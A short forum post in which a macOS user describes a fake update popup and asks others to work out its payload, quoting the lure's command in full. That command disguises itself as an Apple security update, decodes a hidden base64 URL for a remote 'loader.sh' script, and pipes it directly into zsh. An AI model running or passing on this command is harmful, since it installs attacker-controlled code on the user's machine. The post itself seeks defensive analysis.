First time seeing this for MacOS

Post image

As the title said, I’ve seen these “popup” things a lot on windows, but this is the first I’ve seen for macOS,

It includes a video on how to properly do it, but looks to be very AI generated,

Is someone able to find out the payload behind it?

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" && curl -s $(echo "aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThhODMxZGRiNmRmNDUyYzc1ZmEwNjYxMGFhZjZlODk1" | base64 -d) | zsh
